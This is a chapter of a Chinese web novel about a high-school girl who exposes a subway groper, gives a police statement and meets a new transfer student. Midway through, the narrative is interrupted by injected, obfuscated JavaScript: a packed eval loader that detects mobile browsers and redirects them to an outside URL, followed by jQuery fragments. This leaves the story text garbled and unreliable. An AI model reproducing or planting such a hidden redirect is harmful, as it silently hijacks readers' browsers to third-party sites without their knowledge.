2. 问询

作品:《窥窗湿雨

    是幻觉吗?江暖周围的人并没有察觉到异常,还在斥责为什么要突然刹停地铁。


    还没有等江暖反应过来,一道刺耳的“啊!!”声在车厢内传荡开,婴儿的笑声消失不见了。


    车厢又恢复了照明。


    车厢里的人大多都东倒西歪,但是全都站稳了。


    就只有方才那个要打江暖的变态男,因为抬手要打江暖,挥手力度过大,一下子失去了平衡,狠狠地倒在了地上。


    车厢内很是拥挤,他坐在地面,上半身还靠在身旁的人腿上。


    他靠的人是个小姐姐,直接一脸嫌弃地踢腿。


    变态男却也顾不得。


    众人仔细一看,原来是男人的右手不知道被什么东西刺穿了——血淋淋的。


    “啊!有血!!”


    “活该!为什么别人都不受伤就他受伤?”


    众人议论纷纷。


    “别动!警察!”一旁的鸭舌帽男人从人群中站起身来,直接将变态男从地上抓起来。


    他还向周围的人展示了自己的证件。


    “姑娘你有证据吧?”自称是警察的人对着江暖开口问道。


    “有的。”江暖想要去拿自己的手机,结果这才发现方才伸手握住她的手腕,阻止她摔倒的那人的手还没有放开。


    男生的黑色外套下露出一截白净的手腕,手腕上有一道极浅的红色印记。它太规整了,不像意外擦伤,更像某种利刃留下的、已然愈合却未曾消失的线。


    是自杀的痕迹,还是……


    对方似乎感受到她的凝视,将手收了回去,迅速拉下袖口,将所有探究的目光,连同那道可能的故事,严严实实地遮盖了起来。


    地铁语音播报:


    “尊敬的乘客,列车因信号原因临时停车,给您带来不便,我们深表歉意。请您站稳扶好,不要随意走动。列车即将恢复运行,下一站预计还有两分钟到达。”


    梁霖一手控制住犯下多起猥亵案的色狼,一边翻看着江暖拍下的证据。


    看完将手机还给江暖之后,梁霖对着坐着的男生开口道:“能不能跟我们到警局去录个口供呢?你应该看到了吧?”


    “嗯。”


    男生点头。


    “正好你来做个人证,当然,在场的各位要是亲眼看到的话,也可以跟随我们去警局录口供。”


    “谁能看到啊?”


    “我还得上班呢?”


    “一个人证就可以了吧?”


    早高峰的地铁上大多是上班族,他们有着见义勇为的热心肠,自然也有着自己的顾虑。


    能够做人证的男生应该是大学生。江暖如此猜测着。


    车门开了,梁霖带着江暖和男生前往警局,同事已经在地铁口停车等他们了。


    “我们需要联系一下你的父母。”


    江暖和男生被带上了一辆警车。


    坐在副驾驶的梁霖开口:“今天是咱们市中小学开学报到的日子吧。真是倒霉,让你这样的小姑娘遇到这种事。”


    “没关系的。今天只是报到,交交作业,打扫卫生之类的,正式上课还要等明天呢。


    “那就好。”


    江暖掏出手机,开始联系自己的父母。


    虽然她从小跟着外婆生活,跟父母的关系一般,就连上育才中学,也是自己一个人住在老房子里,但是忙着创业的父母怎么样也不会不管她的。


    江暖只是觉得有些麻烦父母。


    我马上去警局——江暖的妈妈如此回复。


    “我已经联系好了。”江暖对着梁霖开口。


    “好。”


    坐在江暖身边不声不响的男生这时也开口了:“我也联系好了,我家人过一会儿也到。”


    梁霖开玩笑:“只有未成年人才用联系监护人的,你又不用。”


    “我也是未成年。”


    没有想到男生一本正经地说出了让人震惊的话。


    “你成年了?”一看就知道梁霖不是一个沉得住气的警官,很容易喜形于色。


    梁霖知道现在的孩子吃的都好,个子也长得高,可是方才跟这个男生一见面,梁霖就下意识地把他当成了成年人。


    或许是因为他过于沉静的面容和性格。


    梁霖隔着后视镜再定睛一看,发现男生的个子虽高,身形却属于少年的单薄,肩线流畅而尚未宽阔。


    “那你怎么不去上学?是因为身体不舒服休学了吗?”


    江暖的视线也缓缓看过去。


    “不。”男生否定道。


    “我今天原本是要来新学校报到的。”


    ————


    “杨墨晴不来也就算了,怎么暖暖也不来?”


    吴芷轩有些无力。


    就是因为江暖没有来,所以老师调座位的时候,把她们两个拆开了。


    “杨哥那是因为他奶奶的事,奇迹因为什么事情啊?”


    就因为吴芷轩老是暖暖暖暖地称呼江暖,江暖也被班里人起了一个外号叫“奇迹”。


    这个名字其实挺贴切的,江暖这个人学习一直是全年级前三,体育成绩也好,是排球队的主力。


    老师因为江暖的缘故,所以对身为江暖同桌的吴芷轩上课开小差也睁一只眼闭一只眼。


    如今,江暖不跟她同桌了,她的“特权”也没了,真让人生气。


    “不知道啊。”


    男同学靠近吴芷轩,开口:“杨哥家最近不好,江暖是他最好的朋友,两人又是发小,给他们安排一个座位,平常互相照顾着点也没什么不是吗?”


    “话是这么说可是为什么江暖的后面还空出来一个位置啊?”


    “你不知道吗?”


    “知道什么啊?”吴芷轩有点莫名其妙。


    “咱们班要来一个转校生啊!只是不知道为什么他今天也没有来。”


    “三个人都没有来,也真是奇怪……”


    咱们班里要来一个转校生!!暖暖你知道吗?吴芷轩给江暖发消息道。


    江暖自然是不知道的。


    此刻她正坐在审讯室里做笔录。


    猎狼行动正在青鸾市内徐徐展开,最近几年,地铁发生猥亵的概率尤其大。


    这一段时间警局已经接到了不少女性的报案了,可是无奈一般犯人的作案时间都挑在早高峰或者晚高峰。


    人挤人的情况下,摄像头只能看到人的脑袋,并不能清晰地拍下犯人的面容。


    再加上犯人一般会做些伪装,因此想要抓住他们更是难上加难。


    许多的女性遇到这种情况,一般只会默默


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17077807|195294||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    走开,或者出手制止犯人的行为。


    受害者中的大部分都是刚刚工作的上班族,年轻女性没有应对此事的经验。


    地铁上人这么多,是不是因为太挤了啊?或许对方不是故意的呢?


    我也没有证据啊……


    还得赶着打卡,难道要花一上午的时间待在警局去处理这些事吗?


    这些顾虑环绕在受害者的心上,她们日后会因为这件事而多加小心,却殊不知这种心理带来的是嫌疑人会更加肆无忌惮地去伤害下一个受害者。


    受害者的沉默其实以损害下一个受害者利益为代价。


    年轻女孩往往意识不到这一点。


    于是犯人会转换目标,一旦得手,便心满意足地换下一个。


    能够击中犯人的永远是那些年轻女孩不知所措的脆弱面容。


    为了抓住犯人他这才特意潜伏到车厢内,观察着色狼的出现,没有想到一来就抓到了犯人。


    揭露犯人的是一位高中生。


    像江暖这样的年纪,没有那么多成人之后的社会考量。


    你让我不舒服了,我就要说出来。


    有的年轻人的喜欢和厌恶都是明晃晃的,像一株向着太阳的植物,所有的喜怒都明明白白地写在叶脉上,干净又坦荡。


    所以在被江暖用略带嫌弃的目光掠过时,梁霖也由不得脸红——此时,他正在给江暖做笔录。


    他看着眼前的屏幕,一字一句地认真在电脑上敲着。


    梁霖这个人很努力,不放过一丝一毫的细节。


    可是江暖就有些失望了——这跟江暖想得一点都不一样。


    电视剧里演的都是警察一边问询,另一边的警察飞快地打字记录。


    而不是像现在——


    “地铁二号线七点零五分发生的猥亵事件,那么当时地铁的运行方向是从哪一站到哪一站?”


    每一次面前的梁警官开口询问时,坐在她身边的母李芸就会紧紧地捏住她的手掌一下。


    “不要怕,女儿,慢慢回答。”李芸嘴上说着让女儿不要怕,可是她自己表情却充满了心疼与后怕。


    “二桥洞到蓟山站。”江暖沉着地回答道。


    “好的……蓟山站的蓟字是哪一个?输入法怎么没有?”


    江暖说一句话,得被面前的梁警官掰成三句。


    这三句还要重复地说。


    感受到江暖愈加无语的视线,梁霖只得加速处理。


    有什么办法?因为明星自杀,记者暗闯现场的事,他的师父和其他的警察都敢去支援了,要不然也不至于他来做笔录。


    等笔录做好就是一个小时后了。


    母亲被警察留下单独说话。


    江暖出了审讯室和坐在走廊长椅上的男生对上了视线。


    隔壁的审讯室里除了警察还有一个女人的背影,应当是面前男生的母亲了。


    “笔录都做完了?”江暖感谢对方帮了自己,于是跟男生隔着一个位置坐下,率先挑起话题。


    “嗯。”


    “谢谢你。”


    “没事。”


    “就当是帮同学了。”


    “帮同学?”


    “我是马上要来育才中学的转校生。”男生的视线从江暖校服上的校徽一扫而过。